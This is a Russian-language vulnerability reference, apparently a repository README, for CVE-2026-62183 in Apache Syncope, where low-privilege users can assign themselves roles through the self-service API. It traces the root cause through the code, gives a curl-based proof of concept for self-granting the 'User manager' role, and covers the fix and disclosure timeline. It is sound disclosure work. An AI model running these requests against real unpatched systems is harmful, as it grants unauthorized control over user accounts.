
Apache Syncope: повышение привилегий через самообслуживание пользователей
Неправильное управление привилегиями (CWE-269) в Apache Syncope. Прошедший аутентификацию пользователь с низкими привилегиями может назначить себе произвольные роли (а также членство в группах, внешние ресурсы и новый realm) через API пользовательского self-service — операции, требующие административных полномочий на любом другом пути кода, — и тем самым стать администратором хранилища учётных записей.
Этот репозиторий является техническим справочником по уязвимости: первопричина, подтверждённый в рантайме proof of concept и заметки по воспроизведению. Подробный рассказ о том, как она была найдена, публикуется отдельно (см. Write-up).
| CVE | CVE-2026-62183 |
| Вендор / продукт | Apache Software Foundation — Apache Syncope |
| Затрагиваемый пакет | org.apache.syncope.core:syncope-core-workflow-java |
| Класс | CWE-269 Неправильное управление привилегиями (механизм: CWE-862 Отсутствие авторизации) |
| Серьёзность | Important (ASF PMC) · CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Затронутые версии | 3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1 |
| Исправлено в | 4.0.7 / 4.1.2 (SYNCOPE-1983) · 3.0.x — EOL, исправления нет |
| Подтверждено на | 3.0.16 (standalone-дистрибутив, JDK 17), домен Master |
Endpoint обновления пользовательского self-service в Apache Syncope, PATCH /users/self/{key},
требует только isAuthenticated(). Общий слой логики пропускает проверку авторизации для
операций "self", при этом data binder по-прежнему применяет привилегированные поля запроса
(roles, memberships, resources, auxClasses, realm). Результат — прямое повышение
привилегий: пользователь с низкими привилегиями сам назначает себе привилегированную роль и
немедленно получает её полномочия — включая, при достаточно мощной роли, полное
администрирование всех пользователей. Если включена самостоятельная регистрация, тот же дефект
применим к doCreate, так что неаутентифицированный злоумышленник может зарегистрировать
учётную запись, уже обладающую привилегиями.
Уязвимость применима, когда настроен один из следующих адаптеров пользовательского workflow (именно к этому сводит её advisory вендора):
В продакшене self-service обычно осуществляется через Enduser UI, который не раскрывает
назначение ролей; для достижения этого требуется, чтобы Core REST API мог вызываться
пользователем с низкими привилегиями. Приведённый ниже рантайм-PoC использует
Standalone Distribution, которую Apache документирует как предназначенную только для
оценки и которая поставляется с seed-данными (пользователь bellini, встроенные роли
User manager / User reviewer) — этих seed-данных нет в обычном развёртывании. Это
честные ограничения реальной эксплуатируемости, а не корректности самого дефекта.
Поток запроса для PATCH /users/self/{key}:
UserSelfService.update(UserUR) common/.../rest/api/service/UserSelfService.java @PATCH @Path("users/self/{key}")
→ UserSelfLogic.update(...) core/idrepo/logic/.../UserSelfLogic.java
→ AbstractUserLogic.doUpdate(..., self=true)
→ UserDataBinderImpl.update(...) core/provisioning-java/.../data/UserDataBinderImpl.java
1. Endpoint авторизует по принципу "залогинен ли кто-нибудь?" — UserSelfLogic.update:
@PreAuthorize("isAuthenticated() "
+ "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
+ "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
...
ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync); // self = true
Никакого полномочия (ни USER_UPDATE, ни области роли/realm) не требуется.
2. Проверка авторизации пропускается для операций self — AbstractUserLogic.doUpdate:
protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
...
if (!self) { // self == true: the whole block is skipped
Set<String> authRealms = RealmUtils.getEffective(
AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
}
...
}
3. Binder в любом случае применяет привилегированные поля — UserDataBinderImpl.update(...)
применяет ADD/DELETE ролей, memberships(...) (группы) и fill(...) (ресурсы / realm)
напрямую из запроса, без проверки привилегий вызывающего — предполагается, что такая проверка
живёт в слое Logic, который шаг 2 пропускает. Путь администратора (UserLogic.update,
@PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...)) выполняет
securityChecks; путь self — нет.
Повышенная роль вступает в силу при аутентификации:
AuthDataAccessor.getUserAuthorities(user) обходит userDAO.findAllRoles(user) и объединяет
полномочия каждой роли, так что самостоятельно назначенная роль активна при следующем
запросе/входе пользователя. Тот же пропуск if (!self) присутствует и в doCreate,
распространяя дефект на самостоятельную регистрацию.
Короче говоря: два слоя каждый предполагали, что проверку привилегий выполняет другой.
Endpoint делегировал авторизацию слою Logic; слой Logic пропускал её для self; binder
доверял слою Logic, что тот ограничил доступ к полям.
Обычный аутентифицированный пользователь без ролей сам назначает себе встроенную
привилегированную роль User manager (которая даёт USER_READ по /) и затем читает
произвольную учётную запись. Никаких действий администратора, никакой специальной
конфигурации. Полный скрипт: poc.sh.
B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'
# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
"realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
"plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
{"schema":"userId","values":["[email protected]"]}]}'
AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 403
# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
"key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
-w '%{http_code}\n' # -> 200 ; entity.roles=["User manager"]
# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 200
Наблюдается: [1] 403 → [2] 200 (роли теперь ["User manager"]) → [3] 200.
Назначение сохраняется (подтверждено через admin-представление пользователя). Тот же вид
запроса также самоназначает memberships (группы), resources (запуская provisioning во
внешние системы) и новый realm.
PoC намеренно использует только легитимные, документированные вызовы API, чтобы продемонстрировать брешь в авторизации. Это минимальное доказательство, а не боевой эксплойт — см. Ответственное использование.
См. BUILD.md с описанием рантайм-настройки без Docker и Maven (standalone
Tomcat + Temurin JDK 17) и проверок готовности, затем:
B=http://localhost:9080/syncope/rest ./poc.sh
Любой аутентифицированный пользователь — включая учётную запись self-service с самыми
низкими привилегиями — может назначить себе полномочия любой определённой роли. При роли с
широкими полномочиями USER_* / административными полномочиями это захват хранилища
учётных записей: чтение/изменение/удаление всех пользователей, плюс provisioning учётных
записей на подключённые внешние системы через resources / memberships. Если включена
самостоятельная регистрация, неаутентифицированный злоумышленник может зарегистрироваться
сразу в привилегированном состоянии (PR:N, CVSS 9.8). Конкретные получаемые полномочия
зависят от ролей, фактически определённых в целевой инфраструктуре.
Исправлено в 4.0.7 / 4.1.2 в рамках
SYNCOPE-1983
("Requiring admin approval for self changes beyond attributes"). UserCR / UserUR получили
предикат requiresApproval() (истинно, когда запрос затрагивает роли, членства, группы,
ресурсы, связи, связанные учётные записи или менеджеров пользователя/группы), и адаптеры
workflow направляют такие self-запросы через одобрение администратора вместо
непосредственного применения. 3.0.x — end-of-life и не получает исправление — пострадавшим
пользователям 3.0.x необходимо обновиться до поддерживаемой ветки.
| Дата (2026) | Событие |
|---|---|
| 28 июня | Приватно сообщено на [email protected] с анализом первопричины и рантайм-PoC |
| 13 июля | PMC Apache Syncope подтвердил; зарезервирован CVE-2026-62183; серьёзность оценена как important |
| 20 июля | Выпущены исправления (4.0.7 / 4.1.2); опубликованы advisory вендора и запись CVE |
Указанные в записи CVE авторы находки: Nic Jones (@NicPWNs) и elin kai. Этот репозиторий документирует анализ на уровне исходного кода и подтверждённый в рантайме PoC, предоставленный Nic Jones.
Подробный рассказ об исследовании — методология, аудит проектов Apache, в ходе которого она была обнаружена, и как она была подтверждена в рантайме — в моём блоге: Self-Service to Admin: A Privilege Escalation in Apache Syncope.
Эти материалы публикуются в защитных и образовательных целях после скоординированного раскрытия и выпуска исправленных версий. PoC использует только легитимные вызовы API для демонстрации дефекта авторизации; это не инструмент массовой эксплуатации. Не используйте его против систем, которые вам не разрешено тестировать. Если вы запускаете Apache Syncope, обновитесь до 4.0.7 / 4.1.2 (или уйдите с 3.0.x).